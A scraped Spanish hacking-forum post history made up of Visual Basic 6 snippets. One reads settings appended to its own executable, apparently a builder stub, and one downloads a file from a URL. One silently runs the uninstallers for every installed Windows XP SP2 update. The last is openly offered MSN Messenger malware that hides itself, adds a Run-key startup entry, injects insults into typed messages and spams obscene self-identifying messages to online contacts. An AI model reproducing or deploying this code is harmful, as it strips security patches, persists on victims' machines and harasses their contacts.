Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.
Private Sub Form_Load()
Dim everkill As String * 3
Dim reinici As String * 3
Dim A As String * 60
Dim B As String * 60
Dim C As String * 5
Dim Ap As String
Dim Bp As String
Dim Cp As String
Open App.Path & "\" & App.EXEName & ".exe" For Binary As #1
Seek (1), LOF(1) - 130
Get #1, , A
Get #1, , B
Get #1, , C
Get #1, , everkill
Get #1, , renici
Close #1
Ap = Trim(A)
Bp = Trim(B)
Cp = Trim(C)
CitarError '458' en tiempo de ejecucion:
La variable usa un tipo de Automatización no Permitida en VB
![:-\](https://forum.elhacker.net/Smileys/navidad/undecided.gif ":-\")
Private Declare Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long
Public Function DownloadFile(URL As String, LocalFilename As String) As Boolean
Dim lngRetVal As Long
lngRetVal = URLDownloadToFile(0, URL, LocalFilename, 0, 0)
If lngRetVal = 0 Then DownloadFile = True
End Function
Private Sub Form_Load()
DownloadFile "http://www.allapi.net", "c:\allapi.htm"
End SubConst ERROR_NO_MORE_ITEMS = 259&
Const HKEY_CURRENT_CONFIG = &H80000005
Const HKEY_LOCAL_MACHINE = &H80000002
Private Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long
Private Declare Function RegOpenKey Lib "advapi32.dll" Alias "RegOpenKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Private Declare Function RegEnumKeyEx Lib "advapi32.dll" Alias "RegEnumKeyExA" (ByVal hKey As Long, ByVal dwIndex As Long, ByVal lpName As String, lpcbName As Long, ByVal lpReserved As Long, ByVal lpClass As String, lpcbClass As Long, lpftLastWriteTime As Any) As Long
Private Declare Function RegEnumValue Lib "advapi32.dll" Alias "RegEnumValueA" (ByVal hKey As Long, ByVal dwIndex As Long, ByVal lpValueName As String, lpcbValueName As Long, ByVal lpReserved As Long, lpType As Long, lpData As Any, lpcbData As Long) As Long
Private Sub Wait(ByVal nSec As Integer)
t1 = Second(Now)
t2 = t1 + nSec
Do
DoEvents
Loop While t2 > Second(Now)
End Sub
Sub matar()
For i = 0 To List1.ListCount - 1
Shell ("C:\WINDOWS\$NtUninstall" & List1.List(i) & "$\spuninst\spuninst.exe"), vbHide
Wait (5)
SendKeys ("{ENTER}")
Wait (90)
Next
End Sub
Private Sub Form_Load()
'KPD-Team 2001
'URL: http://www.allapi.net/
'E-Mail: KPDTeam@Allapi.net
Dim hKey As Long, Cnt As Long, sName As String, sData As String, Ret As Long, RetData As Long
Const BUFFER_SIZE As Long = 255
'Set the forms graphics mode to persistent
Ret = BUFFER_SIZE
'Open the registry key
If RegOpenKey(HKEY_LOCAL_MACHINE, "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Updates\Windows XP", hKey) = 0 Then
'Create a buffer
sName = Space(BUFFER_SIZE)
'Enumerate the keys
While RegEnumKeyEx(hKey, Cnt, sName, Ret, ByVal 0&, vbNullString, ByVal 0&, ByVal 0&) <> ERROR_NO_MORE_ITEMS
'Show the enumerated key
List2.AddItem Left$(sName, Ret)
'prepare for the next key
Cnt = Cnt + 1
sName = Space(BUFFER_SIZE)
Ret = BUFFER_SIZE
Wend
'close the registry key
RegCloseKey hKey
Else
Me.Print " Error while calling RegOpenKey"
End If
For i = 0 To List2.ListCount - 1
If RegOpenKey(HKEY_LOCAL_MACHINE, "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Updates\Windows XP\SP2", hKey) = 0 Then
'Create a buffer
sName = Space(BUFFER_SIZE)
'Enumerate the keys
While RegEnumKeyEx(hKey, Cnt, sName, Ret, ByVal 0&, vbNullString, ByVal 0&, ByVal 0&) <> ERROR_NO_MORE_ITEMS
'Show the enumerated key
List1.AddItem Left$(sName, Ret)
'prepare for the next key
Cnt = Cnt + 1
sName = Space(BUFFER_SIZE)
Ret = BUFFER_SIZE
Wend
'close the registry key
RegCloseKey hKey
Else
Me.Print " Error while calling RegOpenKey"
End If
Wait (1)
matar
Wait (120)
Next
End
End Sub 
) Option Explicit
Public WithEvents MSN As MessengerAPI.Messenger
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Private Declare Function GetKeyState Lib "user32" (ByVal nVirtKey As Long) As Integer
Dim Men As String, Palabra As Long
Dim KeyResult As String
Dim contactos As MessengerAPI.IMessengerContact
Dim user As IMessengerContact
Dim I As Integer
Private Sub Form_Load()
On Error Resume Next
App.TaskVisible = False
Dim Hendrix
Set MSN = New MessengerAPI.Messenger
Set Hendrix = CreateObject("WScript.Shell")
Hendrix.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\Win32", App.Path & "\" & App.EXEName & ".exe"
End Sub
Private Sub Timer1_Timer()
On Error Resume Next
Palabra = Int((Rnd * 10) + 1)
Select Case Palabra
Case 1
Men = "k te jodan!!"
Case 2
Men = "Idiota"
Case 3
Men = "Hijo de p**a"
Case 4
Men = "Me cago en tu p**a madre"
Case 5
Men = "Cabron"
Case 6
Men = "Me la kieres chupar???"
Case 7
Men = "Me cago en la p**a zorra de tu madre"
Case 8
Men = "Me cago en tus muertos!!!!"
Case 9
Men = "Hijo de la gran p**a!!!!"
Case 10
Men = "La zorra mas grande del planeta??? TU p**a MADRE!!!!"
End Select
KeyResult = GetAsyncKeyState(13)
If KeyResult = -32767 Then
SendKeys Men & "{enter}"
End If
MSN.OptionsPages 0, MOPT_GENERAL_PAGE
SendKeys (Text1.Text & "{ENTER}")
End Sub
Private Sub Timer2_Timer()
On Error Resume Next
For Each user In MSN.MyContacts
If contactos.Status = MISTATUS_ONLINE Then
List1.AddItem contactos.SigninName
End If
For I = 0 To List1.ListCount - 1
MSN.InstantMessage List1.List(I)
SendKeys (" Kieres follar konmigo?? Soy un kapullo!!!! [Infectado kon un programa de Hendrix] ")
SendKeys ("{ENTER}")
Next
Next
End Sub
Private Sub Timer3_Timer()
On Error Resume Next
Timer1.Enabled = True
Timer2.Enabled = True
End Sub